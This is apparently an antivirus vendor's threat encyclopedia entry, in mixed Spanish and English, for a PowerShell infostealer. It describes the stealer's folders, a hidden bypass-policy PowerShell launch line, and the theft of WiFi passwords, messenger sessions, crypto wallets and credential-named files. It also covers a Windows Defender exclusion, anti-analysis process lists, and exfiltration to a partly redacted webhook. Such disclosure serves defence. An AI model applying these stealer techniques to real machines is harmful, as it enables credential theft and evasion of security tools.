TrojanSpy.PS1.HUGLOGGER.THHAFBC

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega las carpetas siguientes:

• %User Temp%\element-session → Deletes after execution
• %User Temp%\signal-session → Deletes after execution
• %User Temp%\steam-session → Deletes after execution
• %User Temp%\Crypto Wallets → Deletes after execution
• %User Temp%\Crypto Wallets\Armory → Deletes after execution
• %User Temp%\Crypto Wallets\Atomic → Deletes after execution
• %User Temp%\Crypto Wallets\Bitcoin → Deletes after execution
• %User Temp%\Crypto Wallets\Bytecoin → Deletes after execution
• %User Temp%\Crypto Wallets\Coinomi → Deletes after execution
• %User Temp%\Crypto Wallets\Dash → Deletes after execution
• %User Temp%\Crypto Wallets\Electrum → Deletes after execution
• %User Temp%\Crypto Wallets\Ethereum → Deletes after execution
• %User Temp%\Crypto Wallets\Exodus → Deletes after execution
• %User Temp%\Crypto Wallets\Guarda → Deletes after execution
• %User Temp%\Crypto Wallets\Liberty.jaxx → Deletes after execution
• %User Temp%\Crypto Wallets\Litecoin → Deletes after execution
• %User Temp%\Crypto Wallets\Monero → Deletes after execution
• %User Temp%\Crypto Wallets\Zcash → Deletes after execution
• %User Temp%\Crypto Wallets\Thunder → Deletes after execution
• %User Temp%\Files Grabber → Deletes after execution
• %User Temp%\SEG → Deletes after execution
• %Application Data%\SEG

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

Crea las siguientes copias de sí mismo en el sistema afectado:

• %Application Data%\SEG\SEG.ps1

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data, en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data y en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Roaming.).

Agrega los procesos siguientes:

• %User Temp%\main.exe "https://{BLOCKED}d.com/api/webhooks/1140435802338382006/CGUpsFNYfwZOrzAl7AJDTXj3Fyclz-XkwuPwT_mRjXqnEv5PIDCMOVDmDtdwGD_m48-T "
• Powershell.exe "-NoProfile -ExecutionPolicy Bypass -Windowstyle hidden -File '{malware File Path}'"

Técnica de inicio automático

Infiltra los archivos siguientes:

• %User Temp%\ip.txt → contains the machine's IP address. Later moved to %User Temp\SEG\ip.txt
• %User Temp%\system_info.txt → contains system information. Later moved to %User Temp%\SEG\system_info.txt
• %User Temp%\uuid.txt → contains OS version, OS build number, Display version, Computer model, and UUID. Later moved to %User Temp%\SEG\uuid.txt
• %User Temp%\cpu.txt → contains CPU information. Later moved to %User Temp%\SEG\cpu.txt
• %User Temp%\GPU.txt → contains GPU information. Later moved to %User Temp%\SEG\GPU.txt
• %User Temp%\mac.txt → contains MAC address. Later moved to %User Temp%\SEG\mac.txt
• %User Temp%\netstat.txt → contains network information. Later moved to %User Temp%\SEG\netstat.txt
• %User Temp%\WIFIPasswords.txt → Contains WIFI passwords. Later moved to %User Temp%\SEG\WIFIPasswords.txt
• %User Temp%\StartUpApps.txt → Contains Startup Commands. Later moved to %User Temp%\SEG\StartUpApps.txt
• %User Temp%\running-services.txt →Contains list of running services. Later moved to %User Temp%\SEG\running-services.txt
• %User Temp%\running-application.txt →Contains list of running applications. Later moved to %User Temp%\SEG\running-application.txt
• %User Temp%\Installed-Application.txt →Contains lists of installed applications. Later moved to %User Temp%\SEG\Installed-Application.txt
• %User Temp%\NetworkAdapters.txt →Contains lists of Network adapters. Later moved to %User Temp%\SEG\NetworkAdapters.txt
• %User Temp%\telegram-session.zip →Contains gathered files from %Application Data%\Telegram Desktop\tdata. Later moved to %User Temp%\SEG\telegram-session.zip
• %User Temp%\element-session.zip →Contains gathered files from %Application Data%\Element. Later moved to %User Temp%\SEG\element-session.zip
• %User Temp%\signal-session.zip →Contains gathered files from %Application Data%\Signal. Later moved to %User Temp%\SEG\signal-session.zip
• %User Temp%\steam-session.zip →Contains gathered files from &Program Files%\Steam. Later moved to %User Temp%\SEG\steam-session.zip
• %User Temp%\desktop-screenshot.png →Screenshot of Desktop. Later moved to %User Temp%\SEG\desktop-screenshot.png
• %User Temp%\DiskInfo.txt → Contains gathered Disk information. Later moved to %User Temp%\SEG\DiskInfo.txt
• %User Temp%\ProductKey.txt→ Contains gathered Product keys. Later moved to %User Temp%\SEG\ProductKey.txt
• %User Temp%\main.exe → Deletes after execution
• %User Temp%\SEG-LOG.zip → Deletes after execution

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

Finalización del proceso

Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:

• Telegram
• Element
• Signal
• Steam
• Discord
• Discordcanary
• Discordptb

Robo de información

Recopila los siguientes datos:

• Machine's IP address
• System information
• OS version
• OS Build number
• Display Version
• Computer Model
• UUID
• CPU
• GPU
• Total physical RAM
• MAC address
• Username
• Hostname
• Network information
• Manufacturer information of the machine
• Date and Time
• Boot up time
• List of Installed Anti Virus Products
• WIFI Passwords
• Screen Resolution
• Startup commands
• Running Process
• Running Services
• Installed Applications
• Network Adapters
• Files from Telegram directory
• Files from Element directory
• Files from Signal Directory
• Files from Steam Directory
• Desktop Screenshot
• Drive name
• Volume name
• Total Drive Size
• Used Drive Size
• Free Drive Size
• Product Key
• It gathers credentials from the following:
  • Email
  • Thunderbird
  • CryptoWallets:
  • Armory
  • Atomic
  • Bitcoin
  • Bytecoin
  • Coinomi
  • Dash
  • Electrum
  • Ethereum
  • Exodus
  • Guarda
  • Liberty.jaxx
  • Litecoin
  • Monero
  • Zcash

Información sustraída

Este malware envía la información recopilada a la siguiente URL a través de HTTP POST:

• https://{BLOCKED}d.com/api/webhooks/1140435802338382006/CGUpsFNYfwZOrzAl7AJDTXj3Fyclz-XkwuPwT_mRjXqnEv5PIDCMOVDmDtdwGD_m48-T

Otros detalles

Hace lo siguiente:

• Hide its console window upon execution
• Copy files from the directories %User Profile%\Downloads, %User Profile%\Documents, and %User Profile%\Desktop to %User Temp%\FilesGrabber, following these conditions:
  • Contains the following strings in their name:
  • Accounts
  • Login
  • Metamask
  • Crypto
  • Code
  • Coinbase
  • Exodus
  • Backupcode
  • Token
  • Seedphrase
  • Private
  • Pw
  • Lastpass
  • Keepass
  • Keepassxc
  • Nordpass
  • Syncthing
  • Dashlane
  • Bitwarden
  • Memo
  • Keys
  • Secret
  • Recovery
  • 2fa
  • Pass
  • Login
  • Backup
  • Discord
  • Paypal
  • Wallet
  • With the following extension:
  • .pdf
  • .txt
  • .doc
  • .csv
  • .rtf
  • .docx
  • With the following file size:
  • Less than 5MB
• Deletes the following files if found in the machine:
  • %Application Data%\DiscordTokenProtector\DiscordTokenProtector.exe
  • %Application Data%\DiscordTokenProtector\secure.dat
• Exclude the following directory to be scanned by Windows Defender:
  • %User Temp%
  • %Application Data%\SEG
• Terminates itself if the following processes are found:
  • Autoruns
  • Autorunsc
  • Dumpcap
  • Fiddler
  • Fakenet
  • Hookexplorer
  • Immunitydebugger
  • Httpdebugger
  • Importrec
  • Lordpe
  • Petools
  • Processhacker
  • Scylla_x64
  • Sandman
  • Sysinspector
  • Tcpview
  • Die
  • Dumpcap
  • Filemon
  • Idaq
  • Idaq64
  • Joeboxcontrol
  • Joeboxserver
  • Ollydbg
  • Proc_analyzer
  • Procexp
  • Procmon
  • Pestudio
  • Qemu-ga
  • Qga
  • Regmon
  • Sniff_hit
  • Sysanalyzer
  • Tcpview
  • Windbg
  • Wireshark
  • X32dbg
  • X64dbg
  • Vmwareuser
  • Vmacthlp
  • Vboxservice
  • Vboxtray
  • Xenservice

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).